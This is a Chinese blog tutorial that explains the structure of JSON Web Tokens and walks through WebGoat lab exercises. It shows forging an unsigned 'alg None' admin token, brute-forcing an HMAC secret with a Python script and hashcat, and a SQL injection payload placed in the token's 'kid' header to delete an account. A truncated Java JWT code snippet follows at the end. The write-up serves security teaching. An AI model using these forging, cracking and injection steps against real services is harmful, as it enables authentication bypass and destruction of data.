JWT(JSON Web Token)漏洞

本文深入探讨JWT(JSON Web Token)的工作原理,包括其结构、生成流程和Base64URL编码。介绍了如何删除签名以篡改JWT权限,以及通过爆破HMAC密钥来伪造令牌。此外,还展示了SQL注入攻击在JWT中的应用,揭示了JWT安全漏洞的严重性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、JWT介绍

1.1概念

JSON Web Token (JWT) 是一种开放标准 (RFC 7519),它定义了一种紧凑且自包含的方式,用于
在各方之间作为 JSON 对象安全地传输信息。该信息可以被验证和信任,因为它是经过数字签名的。JWT 可以使用密钥(使用 HMAC 算法)或使用 RSA 的公钥/私钥对进行签名。

1.2、JWT结构

在这里插入图片描述

JWT分为三部分,头部(Header),声明(Claims),签名(Signature),三个部分以英文句号.隔开。JWT的内容以Base64URL进行了编码。

1、头部(Header)

以上面的JWT为例,其中的头部解码后是这样的

{
  "alg":"HS256",
  "typ":"JWT"
}

alg

是说明这个JWT的签名使用的算法的参数,常见值用HS256(默认),HS512等,也可以为None。HS256表示HMAC SHA256。

typ

说明这个token的类型为JWT

2、声明(Claims)

上面的例子的声明解码后是:

{
  "exp": 1416471934,
  "user_name": "user",
  "scope": [
    "read",
    "write"
  ],
  "authorities": [
    "ROLE_ADMIN",
    "ROLE_USER"
  ],
  "jti": "9bc92a44-0b1a-4c5e-be70-da52075b9a84",
  "client_id": "my-client-with-secret"
}

其中有些字段是JWT的固定参数,有特定的含义;而另一些是服务器自定义的参数,用来表示通话信息等。

JWT固定参数有:

iss:发行人

exp:到期时间

sub:主题

aud:用户

nbf:在此之前不可用

iat:发布时间

jti:JWT ID用于标识该JWT

这段JSON同样以Base64 URL 编码后作为JWT的一部分。

3、签名

服务器有一个不会发送给客户端的密码(secret),用头部中指定的算法对头部和声明的内容用此密码进行加密,生成的字符串就是JWT的签名。

上面的例子的的签名为

qxNjYSPIKSURZEMqLQQPw1Zdk6Le2FdGHRYZG7SQnNk

下面是一个用HS256生成JWT的代码例子

HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload),secret)

1.3、JWT获取流程

在这里插入图片描述

1、用户端登录,用户名和密码在请求中被发往服务器

2、(确认登录信息正确后)服务器生成JSON头部和声明,将登录信息写入JSON的声明中(通常不应写入密码,因为JWT是不加密的),并用secret用指定算法进行签名,生成该用户的JWT。此时,服务器并没有保存登录状态信息。

3、服务器将JWT(通过响应)返回给客户端

4、用户下次会话时,客户端会自动将JWT写在HTTP请求头部的Authorization字段中

5、服务器对JWT进行验证,若验证成功,则确认此用户的登录状态

6、服务器返回响应

1.4、Base64 URL编码

在HTTP传输过程中,Base64编码中的"=“,”+“,”/“等特殊符号通过URL解码通常容易产生歧义,因此产生了与URL兼容的Base64 URL编码,在Base64 URL编码中,”+“会变成”-“,”/“会变成”_“,”="会被去掉,以此达到url safe的目的。

二、删除签名

靶机采用webgoat JWT tokens第4题,该题的目的是更改token成为管理员,继而重置投票
在这里插入图片描述
首先找到重置按钮
在这里插入图片描述
然后选择一个用户
在这里插入图片描述
点击重置,并用Burp Suite抓取请求包
在这里插入图片描述

打开网站https://jwt.io解码token,得到JWT头部和声明。
在这里插入图片描述

声明中有一个admin字段,那么这题应该是需要我们将false改成true。

但修改JWT声明内容,签名需要重新生成,生成签名又需要密钥,但我们又没有密钥?!

前面讲JWT的结构说过,alg的值是可以为None的,这时也就是不加签名,签名的值就可以留空。

https://jwt.io这个网站上是不允许将alg设置为None的。
在这里插入图片描述

所以,需要我们使用编码工具手动编码

头部

{
  "alg": "None"
}

Base64编码后得到:

ewogICJhbGciOiAiTm9uZSIKfQ==

声明:

{
  "iat": 1630751159,
  "admin": "true",
  "user": "Tom"
}

Base64编码后得到:

ewogICJpYXQiOiAxNjMwNzUxMTU5LAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0=

因为我们要的是Base64 URL编码,手动去掉"="号,得到JWT(注意签名前的"."不能去掉):

ewogICJhbGciOiAiTm9uZSIKfQ.ewogICJpYXQiOiAxNjMwNzUxMTU5LAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0.

将这个作为access_token=的值就可以通过了
在这里插入图片描述
在这里插入图片描述

三、爆破HMAC密钥

靶机采用webgoat JWT tokens第5题,该题的目的是找出密钥,然后创建一个新的令牌并对其签名。

下面开始爆破,不过好在提示里已经给出了字典

在这里插入图片描述
方法一、脚本爆破

脚本搬大神的(稍微修改了一点)

首先PyCharm安装PyJWT库和termcolor库
在这里插入图片描述

'''
1、若签名直接校验成功,则key_为有效密钥;
2、若因数据部分预定义字段错误(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError,
jwt.exceptions.InvalidIssuerAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError)
导致校验失败,说明并非密钥错误导致,则key_也为有效密钥;
3、若因密钥错误(jwt.exceptions.InvalidSignatureError)导致检验失败,则key_为无效密钥;
4、若为其他原因(如JWT字符串格式错误)导致校验失败,根本无法验证当前key_是否有效。
'''

import jwt
import termcolor

jwt_str = R'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQs' \
          R'ImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFt' \
          R'ZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQuY29tIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamV' \
          R'jdCBBZG1pbmlzdHJhdG9yIl19.vPe-qQPOt78zK8wrbN1TjNJj3LeX9Qbch6oo23RUJgM'

with open('google-10000-english.txt') as f:
    for line in f:
        key_ = line.strip()
        try:
            jwt.decode(jwt_str,verify=True,key=key_,algorithms='HS256')
            print('\r','\bbingo! found key -->',termcolor.colored(key_,'green'),'<--')
            break
        except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError,
                jwt.exceptions.InvalidIssuerError, jwt.exceptions.InvalidIssuedAtError,
                jwt.exceptions.ImmatureSignatureError):
            print('\r','\bbingo! found key -->',termcolor.colored(key_,'green'),'<--')
            break
        except jwt.exceptions.InvalidSignatureError:
            print('\r','' * 64,'\r\btry',key_,end='',flush=True)
            continue

    else:
            print('\r','\bsorry! no key be found.')

运行结果,得到密钥victory

在这里插入图片描述
https://jwt.io上生成新令牌,修改username,exp字段,最后填上密码。
在这里插入图片描述
题目中提交新令牌
在这里插入图片描述
方法二:hashcat爆破
电脑中下载hashcat:https://github.com/hashcat/hashcat/releases/tag/v6.2.3

令牌保存为txt文档,并和字典一同放在hashcat根目录。

执行命令(我是在powershell中执行)

.\hashcat.exe -m 16500 .\jwt.txt -a 0 .\google-10000-english.txt --force

在这里插入图片描述

四、sql注入

靶机采用webgoat JWT tokens第8题,该题的目的是删除TOM的账户。

选择TOM账户并点击删除,BurpSuite抓包。
在这里插入图片描述
该请求参数带有JWT令牌,但是jerry的令牌,所以需要对JWT做手脚。

将令牌拷贝到https://jwt.io做解析。
在这里插入图片描述
本题中的 WebGoat 提示告诉我们尝试通过 SQL 注入操作“kid”参数,因此如果“webgoat_key”是用于获取加密密钥的标识符,则可能会强制使用新密钥,由此创建一个新的有效令牌

通过查询源码(https://github.com/WebGoat/WebGoat/blob/develop/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTFinalEndpoint.java),可以看到查询的sql语句。
在这里插入图片描述

"SELECT key FROM jwt_keys WHERE id = '" + kid + "'"

构造注入语句

hacked' UNION select 'delete' from INFORMATION_SCHEMA.SYSTEM_USERS --

同时通过源码,可以看到密钥在用于检查 JWT 声明之前已进行 base64 解码,因此我们反推,在数据库中存储的是经过base64编码的。

delete进行base64编码后,新sql语句为

hacked' UNION select 'ZGVsZXRl' from INFORMATION_SCHEMA.SYSTEM_USERS --

https://jwt.io上重新编码
在这里插入图片描述
将 JWT token 粘贴到 Burp Repeater中发送,返回结果中看到成功删除。

在这里插入图片描述

eg:
欢迎大家关注本人的公众号,分享国内外安全资讯、威胁情报、漏洞信息、安全技术等。
在这里插入图片描述

Java中的JWT HS256是指使用HMAC SHA-256算法进行加密和解密的Java Web TokenJWT)实现方法。它使用一个密钥对令牌进行签名和验证,确保令牌的完整性和真实性。 您可以使用io.jsonwebtoken库来实现Java JWT HS256。首先,您需要在项目中引入该库,可以通过添加以下Maven依赖项来实现: ``` <dependency> <groupId>io.jsonwebtoken</groupId> <artifactId>jjwt</artifactId> <version>0.9.1</version> </dependency> ``` 然后,您可以使用以下代码来创建和验证JWT令牌: ```java import io.jsonwebtoken.Jwts; import io.jsonwebtoken.SignatureAlgorithm; import io.jsonwebtoken.security.Keys; public class JwtUtil { public static final String SECRET_KEY = "your_secret_key"; public static String generateToken(String subject) { byte[] keyBytes = SECRET_KEY.getBytes(); Key signingKey = Keys.hmacShaKeyFor(keyBytes); String token = Jwts.builder() .setSubject(subject) .signWith(signingKey, SignatureAlgorithm.HS256) .compact(); return token; } public static boolean validateToken(String token, String subject) { byte[] keyBytes = SECRET_KEY.getBytes(); Key signingKey = Keys.hmacShaKeyFor(keyBytes); try { Jwts.parser() .setSigningKey(signingKey) .parseClaimsJws(token); #### 引用[.reference_title] - *1* [go JWT RS256 加解密 “key is of invalid type”](https://download.csdn.net/download/weixin_38677585/14887098)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [springboot实现jwt HS256加密及验证](https://blog.csdn.net/qq_45632313/article/details/109049681)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值